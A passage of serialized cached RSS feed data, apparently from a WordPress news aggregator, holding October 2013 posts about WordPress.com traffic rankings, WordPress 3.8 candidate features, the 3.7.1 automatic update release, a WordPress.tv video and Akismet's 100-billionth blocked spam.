xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2568:\&quot;&lt;p&gt;WordPress.com is passing milestones left and right. The site is now the &lt;a href=\&quot;https://www.quantcast.com/top-sites\&quot; target=\&quot;_blank\&quot;&gt;7th most trafficked website in the United States&lt;/a&gt;. This comes a month after WordPress.com &lt;a href=\&quot;http://www.wptavern.com/wordpress-com-is-ranked-8-for-internet-traffic-in-the-us\&quot; target=\&quot;_blank\&quot;&gt;slid into the #8 spot&lt;/a&gt;, passing Yahoo, Microsoft, Yelp, Pinterest, and Tumblr for a place in the top 10. &lt;/p&gt;\n&lt;p&gt;&lt;div id=\&quot;attachment_10714\&quot; class=\&quot;wp-caption aligncenter\&quot;&gt;&lt;a href=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/7.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/7.jpg?resize=486%2C362\&quot; alt=\&quot;Stats courtesy of Quantcast\&quot; class=\&quot;size-full wp-image-10714\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Stats courtesy of &lt;a href=\&quot;https://www.quantcast.com/top-sites\&quot;&gt;Quantcast&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;span id=\&quot;more-10706\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;Traffic to WordPress.com is on a steady upwards climb and only stands to increase with the new tools aimed at helping users to expand their audience. Today the site &lt;a href=\&quot;http://en.blog.wordpress.com/2013/10/30/embed-follow-button/\&quot; target=\&quot;_blank\&quot;&gt;announced&lt;/a&gt; an embeddable version of the Follow Button, which allows users to follow each other and stay connected.  These buttons can be placed on any website and will further extend the reach of WordPress.com blogs across the web. The folks at &lt;a href=\&quot;http://about.me/\&quot; target=\&quot;_blank\&quot;&gt;about.me&lt;/a&gt; have opted to automatically integrate the embeddable Follow Buttons with user profiles.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/follow-en-blog1.png\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/follow-en-blog1.png?resize=305%2C38\&quot; alt=\&quot;follow-en-blog1\&quot; class=\&quot;aligncenter size-full wp-image-10716\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://en.blog.wordpress.com/2013/08/13/introducing-wordpress-com-connect/\&quot; target=\&quot;_blank\&quot;&gt;WordPress.com Connect&lt;/a&gt; launched earlier this year, providing a new way for users to authenticate on websites using their WordPress identity. Features like these are beginning to streamline life in the WordPress ecosystem. It&amp;#8217;s now much easier for users to keep their blogs at the center of their online presence and integrate them with an increasing number of social networks and services. WordPress.com&amp;#8217;s growing traffic is proof that blogging is not dead, not in the slightest.  &lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/niOVq3HDB1c\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 30 Oct 2013 17:31:01 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:13:\&quot;Sarah Gooding\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:24;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:81:\&quot;WPTavern: WordPress 3.8 Development Heats Up With Discussion of New Core Features\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10686\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:133:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/nLQWAfaJLOs/wordpress-3-8-development-heats-up-with-discussion-of-new-core-features\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6916:\&quot;&lt;p&gt;WordPress versions 3.7 and 3.8 have been under simultaneous development. This is the first time the project has undergone a tandem release cycle and the results so far have been very positive. The project&amp;#8217;s momentum is at an all time high with a successful 3.7 release and some exciting core updates right around the corner in 3.8. &lt;/p&gt;\n&lt;p&gt;Matt Mullenweg is leading the 3.8 development cycle, which is now at the stage where core plugins will be selected for inclusion in the core. Last week Sam Sidler &lt;a href=\&quot;http://make.wordpress.org/core/2013/10/22/preparing-your-feature-for-the-3-8-merge/\&quot; target=\&quot;_blank\&quot;&gt;called&lt;/a&gt; for developers to begin preparing their features for the 3.8 merge. &lt;/p&gt;\n&lt;p&gt;The new &amp;#8220;&lt;a href=\&quot;http://make.wordpress.org/core/features-as-plugins/\&quot; target=\&quot;_blank\&quot;&gt;features as plugins&lt;/a&gt;&amp;#8221; approach to WordPress core development has enabled teams to work quickly on their features and get valuable feedback from the community. &lt;/p&gt;\n&lt;h3&gt;Plugins Presenting for Consideration: DASH, MP6, Omnisearch and THX38&lt;/h3&gt;\n&lt;p&gt;There are currently four plugins in the feedback stage, where they will be evaluated based on the following questions:&lt;br /&gt;\n&lt;span id=\&quot;more-10686\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Does the feature belong in core?&lt;/li&gt;\n&lt;li&gt;Is the feature ready for core?&lt;/li&gt;\n&lt;li&gt;Should the feature be in this release?&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Project team leaders with features ready for 3.8 have presented their plugins on the &lt;a href=\&quot;http://make.wordpress.org/core/\&quot; target=\&quot;_blank\&quot;&gt;core make.wordpress.org blog&lt;/a&gt;. Each has provided a written overview of the problem that their plugin solves.&lt;/p&gt;\n&lt;p&gt;Here&amp;#8217;s a quick look at the four plugins that are being considered as new features for WordPress 3.8:&lt;/p&gt;\n&lt;h2&gt;DASH &amp;#8211; Dashboard&lt;/h2&gt;\n&lt;div id=\&quot;attachment_10691\&quot; class=\&quot;wp-caption aligncenter\&quot;&gt;&lt;a href=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/10/dash-new.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/10/dash-new.jpg?resize=560%2C420\&quot; alt=\&quot;New Dashboard for WordPress\&quot; class=\&quot;size-full wp-image-10691\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;New Dashboard for WordPress&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;The DASH project aims to improve the WordPress dashboard by reorganizing it to prioritize the sections that people actually use. This plugin adds a responsive design and merges the sections for recent comments and recently scheduled/published posts into a new activity widget that will lay the foundation for an activity stream that developers can hook into.&lt;/p&gt;\n&lt;p&gt;For a closer look at the DASH project, check out our &lt;a href=\&quot;http://www.wptavern.com/coming-soon-a-redesigned-wordpress-admin-screen-planned-for-3-8\&quot; target=\&quot;_blank\&quot;&gt;interview with designer Joen Asmussen&lt;/a&gt;. Read the &lt;a href=\&quot;http://make.wordpress.org/core/2013/10/23/dash-3-8-proposal/\&quot; target=\&quot;_blank\&quot;&gt;DASH project proposal&lt;/a&gt; and contribute to the discussion.&lt;/p&gt;\n&lt;h2&gt;MP6&lt;/h2&gt;\n&lt;div id=\&quot;attachment_10695\&quot; class=\&quot;wp-caption aligncenter\&quot;&gt;&lt;a href=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/mp6.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/mp6.jpg?resize=560%2C316\&quot; alt=\&quot;MP6 WordPress Admin Plugin\&quot; class=\&quot;size-full wp-image-10695\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;MP6 WordPress Admin Plugin&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;The MP6 project aims to modernize the WordPress dashboard. Many WordPress users have already added this plugin because they couldn&amp;#8217;t wait to have their sites using this admin design. MP6 vastly improves the contrast and readability of the WordPress admin. It uses the Open Sans font, incorporates more whitespace and cleaner styles. MP6 also includes a &lt;a href=\&quot;http://www.wptavern.com/coming-soon-a-redesigned-wordpress-admin-screen-planned-for-3-8\&quot; target=\&quot;_blank\&quot;&gt;new widgets page design&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Check out the &lt;a href=\&quot;http://make.wordpress.org/core/2013/10/23/mp6-3-8-proposal/\&quot; title=\&quot;MP6 project proposal\&quot; target=\&quot;_blank\&quot;&gt;MP6 project proposal&lt;/a&gt; and leave any feedback from your experience with the plugin.&lt;/p&gt;\n&lt;h2&gt;Omnisearch &amp;#8211; Global Admin Search&lt;/h2&gt;\n&lt;div id=\&quot;attachment_10696\&quot; class=\&quot;wp-caption aligncenter\&quot;&gt;&lt;a href=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/omnisearch.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/omnisearch.jpg?resize=560%2C342\&quot; alt=\&quot;Omnisearch Plugin\&quot; class=\&quot;size-full wp-image-10696\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Omnisearch Plugin&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;The Omnisearch plugin provides a global admin search. It provides three new ways to search everything in the admin: a dashboard widget, a new admin search page and a search box on the adminbar. Searching data within the dashboard requires you to navigate to the correct screen for the data that you&amp;#8217;re looking for. But what if you&amp;#8217;re not sure whether you should be searching posts or comments? Omnisearch solves this problem by letting you search everything.&lt;/p&gt;\n&lt;p&gt;If you want to chime in on this project&amp;#8217;s name or how it&amp;#8217;s implemented, feel free to leave feedback on the &lt;a href=\&quot;http://make.wordpress.org/core/2013/10/23/omnisearch-global-admin-search-final-pitch/\&quot; target=\&quot;_blank\&quot;&gt;Omnisearch plugin proposal&lt;/a&gt;.&lt;/p&gt;\n&lt;h2&gt;THX38 &amp;#8211; Theme Experience&lt;/h2&gt;\n&lt;div id=\&quot;attachment_10693\&quot; class=\&quot;wp-caption aligncenter\&quot;&gt;&lt;a href=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/theme-experience.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/theme-experience.jpg?resize=560%2C320\&quot; alt=\&quot;Improved Theme Experience\&quot; class=\&quot;size-full wp-image-10693\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;Improved Theme Experience&lt;/p&gt;&lt;/div&gt;\n&lt;p&gt;The THX38 project aims to improve the user&amp;#8217;s experience when viewing themes on the themes.php screen. This plugin streamlines the presentation of themes and moves the description to a details overlay. THX38 speeds up the performance of theme browsing and search. It also adds a fully responsive design for a better experience on mobile devices. One of the most visible improvements includes support for multiple screenshots per theme and a bigger display.&lt;/p&gt;\n&lt;p&gt;View more screenshots and details on the &lt;a href=\&quot;http://make.wordpress.org/core/2013/10/23/thx-presentation/\&quot; target=\&quot;_blank\&quot;&gt;THX38 project proposal&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Matt Mullenweg, as the 3.8 release lead, will decide which features make it into the release, but community feedback on the make.wordpress.org blogs is strongly encouraged. Just remember that even if a feature doesn&amp;#8217;t make the cut for WordPress 3.8, that doesn&amp;#8217;t mean it won&amp;#8217;t ever be included. Some features may need a little more time to be polished. We&amp;#8217;ll be following the discussions surrounding these plugins and will let you know which are selected for inclusion in the upcoming 3.8 release.&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/nLQWAfaJLOs\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 30 Oct 2013 12:03:11 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:13:\&quot;Sarah Gooding\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:25;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:83:\&quot;WordPress.tv: Kelly Henderson: Creating And Managing Content On Your WordPress Site\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:28:\&quot;http://wordpress.tv/?p=24475\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:100:\&quot;http://wordpress.tv/2013/10/30/kelly-henderson-creating-and-managing-content-on-your-wordpress-site/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:721:\&quot;&lt;div id=\&quot;v-4AwFQoVv-1\&quot; class=\&quot;video-player\&quot;&gt;\n&lt;/div&gt;&lt;br /&gt;  &lt;a rel=\&quot;nofollow\&quot; href=\&quot;http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/24475/\&quot;&gt;&lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/24475/\&quot; /&gt;&lt;/a&gt; &lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://stats.wordpress.com/b.gif?host=wordpress.tv&amp;blog=5089392&amp;post=24475&amp;subd=wptv&amp;ref=&amp;feed=1\&quot; width=\&quot;1\&quot; height=\&quot;1\&quot; /&gt;&lt;div&gt;&lt;a href=\&quot;http://wordpress.tv/2013/10/30/kelly-henderson-creating-and-managing-content-on-your-wordpress-site/\&quot;&gt;&lt;img alt=\&quot;Kelly Henderson: Creating And Managing Content On Your WordPress Site\&quot; src=\&quot;http://videos.videopress.com/4AwFQoVv/video-fdfdb263be_scruberthumbnail_0.jpg\&quot; width=\&quot;160\&quot; height=\&quot;120\&quot; /&gt;&lt;/a&gt;&lt;/div&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 30 Oct 2013 09:50:26 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;WordPress.tv\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:26;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:18:\&quot;Matt: Akismet 100B\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:21:\&quot;http://ma.tt/?p=43151\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:34:\&quot;http://ma.tt/2013/10/akismet-100b/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:189:\&quot;&lt;p&gt;Today &lt;a href=\&quot;http://akismet.com/\&quot;&gt;Akismet&lt;/a&gt; blocked its 100 billionth spam. 100,000,000,000. Billion with a B. We had to tweak the counter on the homepage to handle more numbers.&lt;/p&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 29 Oct 2013 22:22:38 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;Matt Mullenweg\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:27;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:59:\&quot;WPTavern: WordPress 3.7.1: A Historical Maintenance Release\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10664\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:110:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/Mr-_9NV-UoE/wordpress-3-7-1-a-historical-maintenance-release\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2680:\&quot;&lt;p&gt;&lt;div id=\&quot;attachment_10668\&quot; class=\&quot;wp-caption alignright\&quot;&gt;&lt;a href=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/zeroclicks.png\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/zeroclicks.png?resize=266%2C300\&quot; alt=\&quot;Zero Clicks Given tshirt - courtesy of @dimensionmedia\&quot; class=\&quot;size-medium wp-image-10668\&quot; /&gt;&lt;/a&gt;&lt;p class=\&quot;wp-caption-text\&quot;&gt;&lt;a href=\&quot;https://twitter.com/dimensionmedia/status/395300465555943424/photo/1\&quot; target=\&quot;_blank\&quot;&gt;&amp;#8220;Zero Clicks Given&amp;#8221; tshirt&lt;/a&gt; &amp;#8211; courtesy of &lt;a href=\&quot;https://twitter.com/dimensionmedia\&quot; target=\&quot;_blank\&quot;&gt;@dimensionmedia&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;Most WordPress maintenance releases are nothing to write home about, but &lt;a href=\&quot;http://codex.wordpress.org/Version_3.7.1\&quot; target=\&quot;_blank\&quot;&gt;WordPress 3.7.1&lt;/a&gt; is one for the history books. This is the first maintenance release where users don&amp;#8217;t have to lift a finger to get their sites upgraded. &lt;/p&gt;\n&lt;p&gt;Sites already running WordPress 3.7 will soon be automatically upgraded to the latest and greatest. &lt;/p&gt;\n&lt;p&gt;The release haiku, created by &lt;a href=\&quot;https://twitter.com/markjaquith\&quot; target=\&quot;_blank\&quot;&gt;Mark Jaquith&lt;/a&gt;, sums it up nicely:&lt;/p&gt;\n&lt;blockquote&gt;&lt;p&gt;Just a few fixes&lt;br /&gt;\nYour new update attitude:&lt;br /&gt;\nZero clicks given&lt;/p&gt;&lt;/blockquote&gt;\n&lt;p&gt;&lt;span id=\&quot;more-10664\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;WordPress 3.7 is rapidly approaching &lt;a href=\&quot;http://wordpress.org/download/counter/\&quot; target=\&quot;_blank\&quot;&gt;two million downloads&lt;/a&gt;. That&amp;#8217;s a huge number of site admins who don&amp;#8217;t have to worry about logging in to perform updates. WordPress core developer Andrew Nacin said that maintenance and security releases are likely to be a more frequent occurrence now that they don&amp;#8217;t have to worry about update fatigue. If you&amp;#8217;re wondering how long your site will take to update to WordPress 3.7.1, Nacin estimated 24 seconds. He&amp;#8217;s probably done this a thousand times while testing:&lt;/p&gt;\n&lt;blockquote&gt;&lt;p&gt;Installs take about 24 seconds to update on average, but that includes downloading and unzipping the package. A core update should put your site into maintenance mode for only a few seconds.&lt;/p&gt;&lt;/blockquote&gt;\n&lt;p&gt;This release includes 10 fixes for small bugs in 3.7. Check out the full &lt;a href=\&quot;http://core.trac.wordpress.org/log/branches/3.7?stop_rev=25914&amp;rev=25986\&quot; target=\&quot;_blank\&quot;&gt;changelog&lt;/a&gt; to get the details.&lt;/p&gt;\n&lt;p&gt;You can update your site immediately or wait until the core team starts rolling out the automatic background updates. I suggest you go crack yourself a cold one and let WordPress do the work for you.&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/Mr-_9NV-UoE\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 29 Oct 2013 22:09:39 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:13:\&quot;Sarah Gooding\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:28;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:73:\&quot;WPTavern: Why You Should Never Add Analytics Code to Your WordPress 